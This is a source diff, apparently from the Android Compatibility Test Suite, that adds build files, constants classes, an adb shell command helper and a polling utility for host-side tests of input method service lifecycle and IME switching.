+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+include $(call all-subdir-makefiles)
diff --git a/hostsidetests/inputmethodservice/common/Android.mk b/hostsidetests/inputmethodservice/common/Android.mk
new file mode 100644
index 0000000..83bc34d
--- /dev/null
+++ b/hostsidetests/inputmethodservice/common/Android.mk
@@ -0,0 +1,50 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+###############################################################################
+# Build the common library for use device-side
+###############################################################################
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_JAVA_LIBRARIES := junit
+
+LOCAL_MODULE_TAGS := tests
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_MODULE := CtsInputMethodServiceCommon
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_STATIC_JAVA_LIBRARY)
+
+###############################################################################
+# Build the common library for use host-side
+###############################################################################
+
+include $(CLEAR_VARS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_JAVA_LIBRARIES := junit-host
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_MODULE := cts-inputmethodservice-common-host
+
+include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/ComponentNameUtils.java b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/ComponentNameUtils.java
new file mode 100644
index 0000000..507e84a
--- /dev/null
+++ b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/ComponentNameUtils.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.inputmethodservice.cts.common;
+
+/**
+ * Utility class to build Android's component name.
+ */
+final class ComponentNameUtils {
+
+    // This is utility class, can't instantiate.
+    private ComponentNameUtils() {}
+
+    /**
+     * Build Android component name from {@code packageName} and {@code className}.
+     * @param packageName package name of a component.
+     * @param className class name of a component.
+     * @return a component of {@code packageName/className} that can be used to specify component,
+     *         for example, for {@code android.content.Intent}.
+     */
+    static String buildComponentName(final String packageName, final String className) {
+        return packageName + "/" + (className.startsWith(packageName)
+                ? className.substring(packageName.length()) : className);
+    }
+}
diff --git a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/DeviceEventConstants.java b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/DeviceEventConstants.java
new file mode 100644
index 0000000..1f694d2
--- /dev/null
+++ b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/DeviceEventConstants.java
@@ -0,0 +1,110 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.inputmethodservice.cts.common;
+
+import android.inputmethodservice.cts.common.test.TestInfo;
+
+/**
+ * Constants of device event.
+ */
+public final class DeviceEventConstants {
+
+    // This is constants holding class, can't instantiate.
+    private DeviceEventConstants() {}
+
+    /** Intent action in order to record IME events. */
+    public static final String ACTION_DEVICE_EVENT =
+            "android.inputmethodservice.cts.action.DEVICE_EVENT";
+
+    /**
+     * Intent receiver's package, class, and component name.
+     */
+    public static final String RECEIVER_PACKAGE = "android.inputmethodservice.cts.provider";
+    public static final String RECEIVER_CLASS =
+            "android.inputmethodservice.cts.receiver.EventReceiver";
+    public static final String RECEIVER_COMPONENT = ComponentNameUtils.buildComponentName(
+            RECEIVER_PACKAGE, RECEIVER_CLASS);
+
+    /**
+     * Intent extra key for who sends a device event.
+     * Values are Input Method class name, for example {@link Ime1Constants#CLASS}, or device test
+     * method name, for example {@link TestInfo#getTestName()}).
+     *
+     * @see android.content.Intent#putExtra(String,String)
+     * @see android.content.Intent#getStringExtra(String)
+     */
+    public static final String EXTRA_EVENT_SENDER = "event_sender";
+
+    /**
+     * Intent extra key for what type a device event is. Values are {@link DeviceEventType#name()}.
+     *
+     * @see android.content.Intent#putExtra(String,String)
+     * @see android.content.Intent#getStringExtra(String)
+     */
+    public static final String EXTRA_EVENT_TYPE = "event_type";
+
+    /**
+     * Intent extra key for at what time a device event happens. Value is taken from
+     * {@code android.os.SystemClock.uptimeMillis()}.
+     *
+     * @see android.content.Intent#putExtra(String,long)
+     * @see android.content.Intent#getLongExtra(String,long)
+     */
+    public static final String EXTRA_EVENT_TIME = "event_time";
+
+    /**
+     * Types of device event, a value of {@link #EXTRA_EVENT_TYPE}.
+     */
+    public enum DeviceEventType {
+        /**
+         * {@link android.inputmethodservice.InputMethodService#onCreate() onCreate()} callback.
+         */
+        ON_CREATE,
+
+        /**
+         * {@link android.inputmethodservice.InputMethodService#onStartInput(android.view.inputmethod.EditorInfo,boolean) onStartInput(EditorInfo,boolean}
+         * callback.
+         */
+        ON_START_INPUT,
+
+        /**
+         * {@link android.inputmethodservice.InputMethodService#onStartInputView(android.view.inputmethod.EditorInfo, boolean) onStartInputView(EditorInfo,boolean}
+         */
+        ON_START_INPUT_VIEW,
+
+        /**
+         * {@link android.inputmethodservice.InputMethodService#onFinishInputView(boolean) onFinishInputView(boolean)}
+         * callback.
+         */
+        ON_FINISH_INPUT_VIEW,
+
+        /**
+         * {@link android.inputmethodservice.InputMethodService#onFinishInput() onFinishInput()}
+         * callback.
+         */
+        ON_FINISH_INPUT,
+
+        /**
+         * {@link android.inputmethodservice.InputMethodService#onDestroy() onDestroy()} callback.
+         */
+        ON_DESTROY,
+
+        /** Test start and end event types. */
+        TEST_START,
+        TEST_END,
+    }
+}
diff --git a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/EventProviderConstants.java b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/EventProviderConstants.java
new file mode 100644
index 0000000..172e1a7
--- /dev/null
+++ b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/EventProviderConstants.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.inputmethodservice.cts.common;
+
+/**
+ * Constants of CtsInputMethodServiceEventProvider.apk that keeps IME event records.
+ */
+public final class EventProviderConstants {
+
+    // This is constants holding class, can't instantiate.
+    private EventProviderConstants() {}
+
+    /** Package name of the IME event provider. */
+    public static final String PACKAGE = "android.inputmethodservice.cts.provider";
+
+    /** Class name of IME event provider. */
+    public static final String CLASS =
+            "android.inputmethodservice.cts.provider.EventProviderConstants";
+
+    /** APK file name. */
+    public static final String APK = "CtsInputMethodServiceEventProvider.apk";
+
+    /** The authority of IME event provider. */
+    public static final String AUTHORITY = "android.inputmethodservice.cts.provider";
+
+    /** The base URI of IME event provider. */
+    private static final String BASE_URI = "content://" + AUTHORITY;
+
+    /**
+     * The Android platform's base MIME type for a content: URI containing a Cursor of a single
+     * item. Copied from android.content.ContentResolver.CURSOR_ITEM_BASE_TYPE.
+     */
+    private static final String CURSOR_ITEM_BASE_TYPE = "vnd.android.cursor.item";
+
+    /**
+     * The Android platform's base MIME type for a content: URI containing a Cursor of zero or more
+     * items. Copied from android.content.ContentResolver.CURSOR_DIR_BASE_TYPE.
+     */
+    private static final String CURSOR_DIR_BASE_TYPE = "vnd.android.cursor.dir";
+
+    /** Constants of Events table of IME event provider. */
+    public static final class EventTableConstants {
+
+        // This is constants holding class, can't instantiate.
+        private EventTableConstants() {}
+
+        /** Name of the table in content provider and database. */
+        public static final String NAME = "events";
+
+        /** Column name of the table that holds who sends an event. */
+        public static final String SENDER = "sender";
+
+        /** Column name of the table that holds what type of event is. */
+        public static final String TYPE = "type";
+
+        /** Column name of the table that holds when an event happens. */
+        public static final String TIME = "time";
+
+        /** Content URI of the table. */
+        public static final String CONTENT_URI = BASE_URI + "/" + NAME;
+
+        /** MIME type of a cursor of zero or more items of the table. */
+        public static final String TYPE_DIR =
+                CURSOR_DIR_BASE_TYPE + "/" + AUTHORITY + ".ime_event";
+
+        /** MIME tye of a cursor of a single item of the table. */
+        public static final String TYPE_ITEM =
+                CURSOR_ITEM_BASE_TYPE + "/" + AUTHORITY + ".ime_event";
+    }
+}
diff --git a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/Ime1Constants.java b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/Ime1Constants.java
new file mode 100644
index 0000000..3dc6ff1
--- /dev/null
+++ b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/Ime1Constants.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.inputmethodservice.cts.common;
+
+public final class Ime1Constants {
+
+    // This is constants holding class, can't instantiate.
+    private Ime1Constants() {}
+
+    public static final String PACKAGE = "android.inputmethodservice.cts.ime1";
+    public static final String CLASS =   "android.inputmethodservice.cts.ime1.CtsInputMethod1";
+    public static final String APK = "CtsInputMethod1.apk";
+
+    public static final String IME_ID = ComponentNameUtils.buildComponentName(PACKAGE, CLASS);
+}
diff --git a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/Ime2Constants.java b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/Ime2Constants.java
new file mode 100644
index 0000000..eeefae9
--- /dev/null
+++ b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/Ime2Constants.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.inputmethodservice.cts.common;
+
+public final class Ime2Constants {
+
+    // This is constants holding class, can't instantiate.
+    private Ime2Constants() {}
+
+    public static final String PACKAGE = "android.inputmethodservice.cts.ime2";
+    public static final String CLASS =   "android.inputmethodservice.cts.ime2.CtsInputMethod2";
+    public static final String APK = "CtsInputMethod2.apk";
+
+    public static final String IME_ID = ComponentNameUtils.buildComponentName(PACKAGE, CLASS);
+}
diff --git a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/ImeCommandConstants.java b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/ImeCommandConstants.java
new file mode 100644
index 0000000..61d5fc9
--- /dev/null
+++ b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/ImeCommandConstants.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.inputmethodservice.cts.common;
+
+/**
+ * Constants of IME command android.content.Intent.
+ */
+public final class ImeCommandConstants {
+
+    // This is constants holding class, can't instantiate.
+    private ImeCommandConstants() {}
+
+    /** Intent action in order to record IME events. */
+    public static final String ACTION_IME_COMMAND =
+            "android.inputmethodservice.cts.action.IME_COMMAND";
+
+    public static final String EXTRA_COMMAND = "command";
+
+    public static final String EXTRA_ARG_CHARSEQUENCE1 = "arg_charsequence1";
+    public static final String EXTRA_ARG_STRING1 = "arg_string1";
+    public static final String EXTRA_ARG_INT1 = "arg_int1";
+
+    /**
+     * This command has the mock IME call {@link android.view.inputmethod.InputConnection#commitText(CharSequence,int) InputConnection#commitText(CharSequence text, int newCursorPosition)}.
+     * <ul>
+     * <li>argument {@code text} needs to be specified by {@link #EXTRA_ARG_CHARSEQUENCE1}.</li>
+     * <li>argument {@code newCursorPosition} needs to be specified by {@link #EXTRA_ARG_INT1}.</li>
+     * </ul>
+     */
+    public static final String COMMAND_COMMIT_TEXT = "commitText";
+
+    /**
+     * This command has the mock IME call {@link android.inputmethodservice.InputMethodService#switchInputMethod(String)} InputMethodService#switchInputMethod(String imeId)}.
+     * <ul>
+     * <li>argument {@code imeId} needs to be specified by {@link #EXTRA_ARG_STRING1}.</li>
+     * </ul>
+     */
+    public static final String COMMAND_SWITCH_INPUT_METHOD = "switchInputMethod";
+
+    /**
+     * This command has the mock IME call {@link android.inputmethodservice.InputMethodService#requestHideSelf(int)} InputMethodService#requestHideSelf(int flags)}.
+     * <ul>
+     * <li>argument {@code flags} needs to be specified by {@link #EXTRA_ARG_INT1}.</li>
+     * </ul>
+     */
+    public static final String COMMAND_REQUEST_HIDE_SELF = "requestHideSelf";
+}
diff --git a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/DeviceTestConstants.java b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/DeviceTestConstants.java
new file mode 100644
index 0000000..6afd337
--- /dev/null
+++ b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/DeviceTestConstants.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.inputmethodservice.cts.common.test;
+
+/**
+ * Constants of CtsInputMethodServiceDeviceTests.apk that contains tests on device side and
+ * related activities for test.
+ */
+public final class DeviceTestConstants {
+
+    // This is constants holding class, can't instantiate.
+    private DeviceTestConstants() {}
+
+    /** Package name of the APK. */
+    public static final String PACKAGE = "android.inputmethodservice.cts.devicetest";
+
+    /** APK file name. */
+    public static final String APK = "CtsInputMethodServiceDeviceTests.apk";
+
+    /** Device test activity name. */
+    public static final String TEST_ACTIVITY_CLASS =
+            "android.inputmethodservice.cts.devicetest.InputMethodServiceTestActivity";
+
+    /**
+     * Device test class name and methods name.
+     */
+    public static final String TEST_CLASS =
+           "android.inputmethodservice.cts.devicetest.InputMethodServiceDeviceTest";
+    public static final String TEST_CREATE_IME1 = "testCreateIme1";
+    public static final String TEST_SWITCH_IME1_TO_IME2 = "testSwitchIme1ToIme2";
+    public static final String TEST_IME1_IS_NOT_CURRENT_IME = "testIme1IsNotCurrentIme";
+}
diff --git a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/ShellCommandUtils.java b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/ShellCommandUtils.java
new file mode 100644
index 0000000..b984aa1
--- /dev/null
+++ b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/ShellCommandUtils.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.inputmethodservice.cts.common.test;
+
+import java.util.Arrays;
+
+/**
+ * Utility class for preparing "adb shell" command.
+ */
+public final class ShellCommandUtils {
+
+    // This is utility class, can't instantiate.
+    private ShellCommandUtils() {}
+
+    // Copied from android.content.pm.PackageManager#FEATURE_INPUT_METHODS.
+    public static final String FEATURE_INPUT_METHODS = "android.software.input_methods";
+
+    /** Command to check whether system has specified {@code featureName} feature. */
+    public static String hasFeature(final String featureName) {
+        return "cmd package has-feature " + featureName;
+    }
+
+    private static final String SETTING_DEFAULT_IME = "secure default_input_method";
+
+    /** Command to get ID of current IME. */
+    public static String getCurrentIme() {
+        return "settings get " + SETTING_DEFAULT_IME;
+    }
+
+    /** Command to set current IME to {@code imeId}. */
+    public static String setCurrentIme(final String imeId) {
+        return "settings put " + SETTING_DEFAULT_IME + " " + imeId;
+    }
+
+    /** Command to enable IME of {@code imeId}. */
+    public static String enableIme(final String imeId) {
+        return "ime enable " + imeId;
+    }
+
+    /** Command to disable IME of {@code imeId}. */
+    public static String disableIme(final String imeId) {
+        return "ime disable " + imeId;
+    }
+
+    /** Command to delete all records of IME event provider. */
+    public static String deleteContent(final String contentUri) {
+        return "content delete --uri " + contentUri;
+    }
+
+    /**
+     * Command to send broadcast {@code Intent}.
+     *
+     * @param action action of intent.
+     * @param targetComponent target of intent.
+     * @param extras extra of intent, must be specified as triplet of option flag, key, and value.
+     * @return shell command to send broadcast intent.
+     */
+    public static String broadcastIntent(final String action, final String targetComponent,
+            final String... extras) {
+        if (extras.length % 3 != 0) {
+            throw new IllegalArgumentException(
+                    "extras must be triplets: " + Arrays.toString(extras));
+        }
+        final StringBuilder sb = new StringBuilder("am broadcast -a ")
+                .append(action);
+        for (int index = 0; index < extras.length; index += 3) {
+            final String optionFlag = extras[index];
+            final String extraKey = extras[index + 1];
+            final String extraValue = extras[index + 2];
+            sb.append(" ").append(optionFlag)
+                    .append(" ").append(extraKey)
+                    .append(" ").append(extraValue);
+        }
+        return sb.append(" ").append(targetComponent).toString();
+    }
+}
diff --git a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/TestInfo.java b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/TestInfo.java
new file mode 100644
index 0000000..7805d6b
--- /dev/null
+++ b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/TestInfo.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.inputmethodservice.cts.common.test;
+
+import android.inputmethodservice.cts.common.DeviceEventConstants;
+
+/**
+ * Abstraction of test information on device.
+ */
+public final class TestInfo {
+
+    public final String testPackage;
+    public final String testClass;
+    public final String testMethod;
+
+    public TestInfo(final String testPackage, final String testClass, final String testMethod) {
+        this.testPackage = testPackage;
+        this.testClass = testClass;
+        this.testMethod = testMethod;
+    }
+
+    /**
+     * Get fully qualified test method name that can be used as
+     * {@link DeviceEventConstants#EXTRA_EVENT_SENDER}.
+     * @return string representation of fully qualified test method name.
+     */
+    public String getTestName() {
+        return testClass + "#" + testMethod;
+    }
+}
diff --git a/hostsidetests/inputmethodservice/deviceside/Android.mk b/hostsidetests/inputmethodservice/deviceside/Android.mk
new file mode 100644
index 0000000..b798d87
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/Android.mk
@@ -0,0 +1,15 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+include $(call all-subdir-makefiles)
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/Android.mk b/hostsidetests/inputmethodservice/deviceside/devicetest/Android.mk
new file mode 100644
index 0000000..d4786bc
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/Android.mk
@@ -0,0 +1,45 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_JAVA_RESOURCE_DIR := res
+LOCAL_JAVA_LIBRARY := android.test.runner
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-test \
+    hamcrest hamcrest-library \
+    ub-uiautomator \
+    CtsInputMethodServiceCommon \
+    CtsInputMethodServiceLib
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PACKAGE_NAME := CtsInputMethodServiceDeviceTests
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/AndroidManifest.xml b/hostsidetests/inputmethodservice/deviceside/devicetest/AndroidManifest.xml
new file mode 100755
index 0000000..5566613
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/AndroidManifest.xml
@@ -0,0 +1,49 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright (C) 2017 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.inputmethodservice.cts.devicetest">
+
+    <!--
+      TODO: We may need to have another new APK that has the latest targetSdkVersion to check the
+      latest OS behaviors.
+    -->
+    <uses-sdk android:minSdkVersion="19" android:targetSdkVersion="25" />
+
+    <application
+        android:label="CtsInputMethodServiceDeviceTests"
+        android:icon="@mipmap/ic_launcher"
+        android:allowBackup="false"
+    >
+        <uses-library android:name="android.test.runner" />
+
+        <activity
+            android:name=".InputMethodServiceTestActivity"
+            android:label="InputMethodSercuceTestActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+
+    </application>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.inputmethodservice.cts.devicetest" />
+
+</manifest>
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/res/layout/activity_inputmethod_test.xml b/hostsidetests/inputmethodservice/deviceside/devicetest/res/layout/activity_inputmethod_test.xml
new file mode 100644
index 0000000..94ba557
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/res/layout/activity_inputmethod_test.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright (C) 2017 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+-->
+
+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="fill_parent"
+    android:layout_height="wrap_content"
+    android:padding="10px">
+
+    <EditText
+        android:id="@+id/text_entry"
+        android:layout_width="fill_parent"
+        android:layout_height="wrap_content"
+        android:background="@android:drawable/editbox_background"/>
+
+</RelativeLayout>
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/res/mipmap-hdpi/ic_launcher.png b/hostsidetests/inputmethodservice/deviceside/devicetest/res/mipmap-hdpi/ic_launcher.png
new file mode 100644
index 0000000..cde69bc
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/res/mipmap-hdpi/ic_launcher.png
Binary files differ
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/BusyWaitUtils.java b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/BusyWaitUtils.java
new file mode 100644
index 0000000..11e858d
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/BusyWaitUtils.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.inputmethodservice.cts.devicetest;
+
+import static org.junit.Assert.fail;
+
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Utility class for busy waiting.
+ */
+final class BusyWaitUtils {
+
+    private static final long POLLING_INTERVAL = TimeUnit.MILLISECONDS.toMillis(50);
+
+    @FunctionalInterface
+    interface PollingCondition {
+        boolean check() throws Exception;
+    }
+
+    // This is utility class, can't instantiate.
+    private BusyWaitUtils() {}
+
+    /**
+     * Busy waiting until {@link PollingCondition#check()} returns {@code true}.
+     * @param condition {@link PollingCondition} to be checked.
+     * @param timeout milliseconds before time out happens.
+     * @param message when time out happens, {@link org.junit.Assert#fail(String)} is called with
+     *                this message.
+     * @throws Exception
+     */
+    static void pollingCheck(final PollingCondition condition, final long timeout,
+            final String message) throws Exception {
+        if (waitFor(condition, timeout)) {
+            return;
+        }
+        fail(message);
+    }
+
+    /**
+     * Busy waiting until {@link PollingCondition#check()} returns {@code true}.
+     * @param condition {@link PollingCondition} to be checked.
+     * @param timeout milliseconds before time out happens.
+     * @return true when {@code condition} returns {@code true}, false when timed out.
+     * @throws Exception
+     */
+    static boolean waitFor(final PollingCondition condition, final long timeout) throws Exception {
+        for (long remaining = timeout; remaining > 0; remaining -= POLLING_INTERVAL) {
+            if (condition.check()) {
+                return true;
+            }
+            Thread.sleep(POLLING_INTERVAL);
+        }
+        return false;
+    }
+}
